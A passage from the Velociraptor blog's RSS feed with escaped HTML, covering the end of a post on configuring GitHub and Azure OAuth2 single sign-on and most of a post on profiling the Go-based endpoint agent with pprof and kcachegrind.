OAuth2 provider (e.g. Google)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The user logs on to their provider and receives a consent screen asking them if they wish to authorize Velociraptor to receive their email address.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Once the user authorizes the app, the OAuth2 provider redirects back to the Velociraptor **callback URL **with a token. The callback URL is the path location within the Velociraptor App that will handle the incoming token.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;At this point Velociraptor already knows the user’s email address and can log them in, as long as they have sufficient permissions (The Velociraptor &lt;a href=&#34;https://www.velocidex.com/blog/medium/2020-03-29-velociraptors-acl-model-7f497575daee/&#34; target=&#34;_blank&#34; &gt;ACL model&lt;/a&gt; still applied).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The advantage of this scheme is that Velociraptor never handles user passwords, and additional authentication requirements like 2FA can be imposed by the OAuth2 provider.&lt;/p&gt;&#xA;&lt;h3 id=&#34;google-oauth2&#34;&gt;Google OAuth2&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor previously &lt;a href=&#34;https://www.velocidex.com/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso.html&#34; target=&#34;_blank&#34; &gt;only supported Google &lt;/a&gt;as an OAuth2 provider. However this recently changed when new providers were added.&lt;/p&gt;&#xA;&lt;p&gt;This post outlines the process of setting up OAuth2 authentication for both GitHub and Microsoft O365 environments.&lt;/p&gt;&#xA;&lt;h3 id=&#34;github-oauth2-flow&#34;&gt;GitHub OAuth2 flow&lt;/h3&gt;&#xA;&lt;p&gt;Setting up a GitHub OAuth2 application is detailed in &lt;a href=&#34;https://docs.github.com/en/developers/apps/creating-an-oauth-app&#34; target=&#34;_blank&#34; &gt;their extensive developer docs&lt;/a&gt;, so I will not repeat it here. I will just include a screenshot of the final screen. For this example I will set up one of our training VMs:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1V0SFCRyBB3EgaTnRGEvbvg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The most important item in this form is the Authorization callback URL, which must be of the form&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://public DNS name/auth/github/callback&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once I click Register Application, GitHub will provide me with a client id and a client secret — Those are used by Velociraptor to send authorization requests to GitHub for authentication.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1ZU-eolQPeo8inmTfq4VkVA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the client id and secret we can create our configuration file using the interactive config generator&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;velociraptor.exe config generate -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1yJ7sIPl_qnL9UUrJvNZJLA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Be sure to enter the proper external DNS name of your Velociraptor server, select &lt;strong&gt;Authenticate users with SSO&lt;/strong&gt; and choose &lt;strong&gt;GitHub&lt;/strong&gt; as the provider. Velociraptor will show once again, the correct redirect URL that needs to be entered into the GitHub form as we have seen above.&lt;/p&gt;&#xA;&lt;p&gt;Finally enter the GitHub client ID and secret and create the server config files. To deploy on a typical Debian based VM, simply build the debian package ready to deploy to your server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/19WneTKLF_985TEXYJKcAbQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will now push the Debian package to the server and install it using SCP and SSH. When I navigate to the public URL at &lt;a href=&#34;https://vm1.training.velocidex.com&#34; target=&#34;_blank&#34; &gt;https://vm1.training.velocidex.com&lt;/a&gt; I am redirected to GitHub to authenticate and upon authorizing the app I can log into my Velociraptor server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1U5rYGAoEkXr1TeQFJ8UDiw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The GitHub OAuth2 flow is excellent! I received an email immediately when my user was authorized and I can see the total number of users authorized to this application.&lt;/p&gt;&#xA;&lt;h3 id=&#34;microsoft-azure-oauth2-flow&#34;&gt;Microsoft Azure OAuth2 flow&lt;/h3&gt;&#xA;&lt;p&gt;Many Velociraptor users are using Office 365 and Azure to manage their organizations. I can set up the Microsoft OAuth2 flow in a very similar way to the previous flow. The only main difference with O365 is the concept of tenants — Azure provides each organization with a tenancy which is normally their domain name.&lt;/p&gt;&#xA;&lt;p&gt;First I will navigate to the Azure Active Directory application and select &lt;strong&gt;App Registrations&lt;/strong&gt;. Click on &lt;strong&gt;New registration&lt;/strong&gt; to add a new App.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1enBaYt9G2zve-8l6zIbmjw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I provide the app with a name. Here I can select if this app should be used by users from different tenants or restricted to my org only.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1EakNAGcDH2r4BEuEQJ0fXA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Finally enter the callback URL as before. Note that this is a different URL because it is using the Azure authenticator within Velociraptor. When submitting this, Azure AD will only create a client ID for our application. We need to manually create the client secret using an additional step in the UI. I will select &lt;strong&gt;Certificate &amp;amp; Secrets&lt;/strong&gt; from the menu.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1eWcpTayDUJsCnzmlYk_9pg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Then create a new secret by giving it a name and an expiry.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1gzLxCqvsdJj4hHADofYDLw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now we have both the client id and secret from the previous screen. We simply need to copy those to the configuration wizard. This time we need to provide the tenant ID as well.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1ivNMZZSw74VsMRCbY43FHw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1fCDpwr3e0HiWscr_6O5cPQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After installing this server and accessing it with a web browser, the authentication will redirect to Microsoft to authenticate the user.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1R6OYfqhNwABhfkQJQjNlMA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;We have seen how to secure the GUI with the new OAuth2 providers. Having a choice of providers allows different organizations to deploy Velociraptor safely at scale and integrate Velociraptor directly into their enterprise architecture.&lt;/p&gt;&#xA;&lt;p&gt;Note that OAuth2 is only responsible for authentication — i.e. the user is who they claim to be. It does not automatically grant them any permission within the GUI. If a user does not have a specific ACL record they will be rejected:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/18xUczf1PP7eyM9XaBzTBEw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can assign or delete users using the &lt;strong&gt;velociraptor user add&lt;/strong&gt; command. You can also assign roles to users using the &lt;strong&gt;velociraptor acl grant&lt;/strong&gt; commands. The configuration wizard offers to provision an initial set of administrator users for smoother install, but you can always add users later using the command line.&lt;/p&gt;&#xA;&lt;p&gt;If your favorite authentication provider is not yet supported, please file a feature request on our &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; project, or even send us a pull request!&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Profiling the beast</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/</link>
      <pubDate>Sun, 16 Aug 2020 00:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/https://cdn-images-1.medium.com/max/10582/0*VRw2NF77V7mzrtQw?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Photo by Daniel Cheung on Unsplash&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Photo by Daniel Cheung on Unsplash&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Photo by &lt;a href=&#34;https://unsplash.com/@danielkcheung?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Daniel Cheung&lt;/a&gt; on &lt;a href=&#34;https://unsplash.com?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Unsplash&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;You might have previously heard about Velociraptor — fast becoming the standard open source agent for endpoint monitoring and collection. Being an open source project provides users with visibility into the inner workings of the tool since anyone can see the source code and even contribute to it!&lt;/p&gt;&#xA;&lt;p&gt;While I usually write about Velociraptor features that make DFIR work easier and more effective, this time I am actually going to talk about a feature of the Golang programming language itself (which Velociraptor is written in). Golang provides unprecedented visibility to the state of production binaries, and these mechanisms are available and easily accessible within Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;This post introduces new tools available for users since the 0.4.8 release to more easily gain visibility into the inner workings of Velociraptor, and be able to share these with the developers in order to assist in finding and fixing bugs. Although the post will focus on the very technical low level details available for developers, end users can see how they can assist developers by collecting important runtime information (Or even using it to understand what the tool is actually doing).&lt;/p&gt;&#xA;&lt;h2 id=&#34;endpoint-telemetry&#34;&gt;Endpoint Telemetry&lt;/h2&gt;&#xA;&lt;p&gt;Those who have already seen Velociraptor in action might be very familiar with the built in telemetry available within the tool. The Velociraptor endpoint agents (termed Client) collect memory and CPU utilization information about the agent process every 10 seconds and send it to the server. The client performance stats are available right in the host overview page.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1ojviZVbiMFj-fBS2nBVbLQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the example above we see a typical hunt running on this specific endpoint — the CPU load spikes for a few seconds to a few minutes, then when the collection completes, the CPU load returns to normal levels (at less than 1% of one core), and a short time later memory use is also returned to the system. Of course depending on the specific hunt run, the amount of work the client has to do may be larger and take longer.&lt;/p&gt;&#xA;&lt;p&gt;Similarly, the server also collects telemetry periodically, which you can see on the main dashboard (this data is also available using Prometheus/Grafana which are more appropriate for larger deployments). Again depending on the amount of post processing done on the server the CPU and memory footprint can vary.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1EchDpaQPy19KrQe9ZouF3g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;profiling&#34;&gt;Profiling&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is written in Golang and one of the more useful (if not well advertised) feature of the Go runtime is the ability to profile the running program. Most programming languages have mechanisms to profile running code and collect information about memory allocations, backtraces etc — however in many programming languages, this information can only be collected by running a special debug build of the binary.&lt;/p&gt;&#xA;&lt;p&gt;What makes Golang different is that &lt;strong&gt;every binary&lt;/strong&gt; has the ability to profile itself out of the box. Obviously this capability is disabled by default (since profiling itself has a non-trivial runtime cost) but it can simply be switched on at runtime for a limited time and then switched off. This means that we do not need to restart the binary in debug mode, nor replace a running binary with a special debug build! As a developer, I can not overstate the usefulness of this!&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;If we see a Golang process running in production and want to inspect its inner working all we need to do is enable profiling for a short time (say 30 seconds) capturing execution traces &lt;strong&gt;without restarting or otherwise affecting the running process!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Velociraptor exposes this functionality by simply offering the &lt;strong&gt;profile()&lt;/strong&gt; VQL function. This is then utilized by two artifacts:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Generic.Client.Profile&lt;/strong&gt; artifact allows collecting profile information for a running client on the endpoint.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Server.Monitor.Profile&lt;/strong&gt; artifact similarly allows to collect profiling information from the server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the following example we examine how profiling can be used to gain an understanding of what is going on under the covers.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example--recursive-file-hash&#34;&gt;Example — recursive file hash&lt;/h3&gt;&#xA;&lt;p&gt;To illustrate this process I will launch a CPU heavy collection on my endpoint. I create a new artifact collection of the &lt;strong&gt;Windows.Search.FileFinder&lt;/strong&gt; artifacts, searching recursively for all files below &lt;em&gt;C:\Users&lt;/em&gt; and hashing them all.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1K5FlQK6zzhpg0SObQFcTcg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This collection is very CPU intensive and actually takes some time to complete on the endpoint. I can tell this because the CPU footprint in the host’s VQL drilldown pane shows the collection progressing with CPU load around 100% of a core and memory use between 50 and 100mb for about 8 minutes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1mxVuPJ1lWuGSHnYyObwnpw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;For the sake of this discussion, assume that I am not 100% sure what is going on with this collection and why it is taking so long (although I have a theory!). I can remotely acquire profiling information from the client, &lt;strong&gt;while the collection is taking place!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Simply schedule a new collection of the &lt;strong&gt;Generic.Client.Profile&lt;/strong&gt; artifact, selecting the CPU profile checkbox (There are a number of other debugging data and traces that can be acquired at the same time but I won’t go into these here).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/16SDwrh4quetvE_emHQnfmg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When launching this collection, the profiles will be acquired concurrently (note that Velociraptor can collect multiple artifacts at the same time). So actually collecting the &lt;strong&gt;Generic.Client.Profile&lt;/strong&gt; artifact will result in collecting information on whatever else is happening within the Velociraptor process at the same time — Collecting this artifact essentially starts recording traces for 30 seconds, then stops recording traces and sends those traces back.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1Ypb_iKi_s9ypRzexekYAAw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;By default the profile is taken over 30 seconds, after which it is uploaded to the server like any uploaded file. I can simply download the profile from the &lt;strong&gt;Uploaded Files&lt;/strong&gt; tab by clicking the link.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/17ZeuBYe5dIV_LATRLZkUaw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After downloading the profile file, I convert it to a callgrind format, so it can be viewed by my favourite profile inspector &lt;a href=&#34;https://kcachegrind.github.io/html/Home.html&#34; target=&#34;_blank&#34; &gt;kcachegrind&lt;/a&gt; (there are other similar viewers and the Golang one is &lt;a href=&#34;https://github.com/google/pprof&#34; target=&#34;_blank&#34; &gt;called pprof&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ go tool pprof -callgrind -output=profile.grind profile.bin&#xA;$ kcachegrind profile.grind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1GFekz4L0I4hm-LzR6EZbCQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://kcachegrind.github.io/html/Home.html&#34; target=&#34;_blank&#34; &gt;kcachegrind&lt;/a&gt; tool allows me to interactively inspect the relative CPU time spent on each function. In the screenshot above we can see the left pane showing the relative amount of time taken by each function. The bottom right pane shows an interactive call graph visualizing how each function spends its time. In this case we can see the &lt;em&gt;HashFunction.Call()&lt;/em&gt; function is responsible for 65% of the time spent. In turn it spends about 5% of CPU time reading the file, 4% calculating the sha1, 10% the sha256 and 3.5% the md5 hashes. (The exact numbers will depend on the actual set of files present on the endpoint)&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-16-profiling-the-beast-58913437fd16/../../img/1VV4GJRhUlO2rnN8zG1ahKA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Scrolling the call graph in this case shows that the &lt;code&gt;os.Open()&lt;/code&gt;&#xA;function spends about 35% of the time. Since &lt;code&gt;os.Open()&lt;/code&gt; is not a part&#xA;of our own code, it shows we end up spending most of our time in the&#xA;operating system. In fact 35% of our time is spent waiting for Windows&#xA;Defender’s real time scanner (which blocks &lt;code&gt;os.Open&lt;/code&gt; for us as it&#xA;scans the files on demand — Windows defender is a huge performance&#xA;killer.).&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Our job as Velociraptor developers is to spend as little time as possible in our own code relative to the time spent in the operating system or external libraries.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;The function’s source code is shown in the top right pane and we see how much time is spent at each line of code. This makes it easy to see what function calls end up taking the most time and guides our thinking into possible optimizations&lt;/p&gt;&#xA;&lt;p&gt;A performance bug arises when our function does more work than is necessary and therefore spends too long doing it. This slows down processing. Clearly in this case the biggest contributors are hashing and filesystem operations which exist outside our code base — so this VQL query is pretty good already.&lt;/p&gt;&#xA;&lt;p&gt;NOTE: The astute reader may spot 5.8% lost to the garbage collector through calls to &lt;em&gt;makeslice()&lt;/em&gt; in line 67. These calls were eliminated by a recent commit.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor is an open source project — exposing its inner working to all users. While we do not require users to be able to understand the profiling information themselves, they are able to easily collect this data on running production deployments.&lt;/p&gt;&#xA;&lt;p&gt;By exposing debugging and profiling tools in an easy way to end users, developers enable users to attach more useful traces to bug reports, and allow developers to assist in a more efficient way than simply reporting qualitative information such as high memory use or non-performant code.&lt;/p&gt;&#xA;&lt;p&gt;The profiling traces are typically much smaller than full memory core dumps and usually do not contain sensitive information. Profiles only contain high level statistics about memory and CPU usage (For example the CPU profile we saw in this article are obtained by statistic 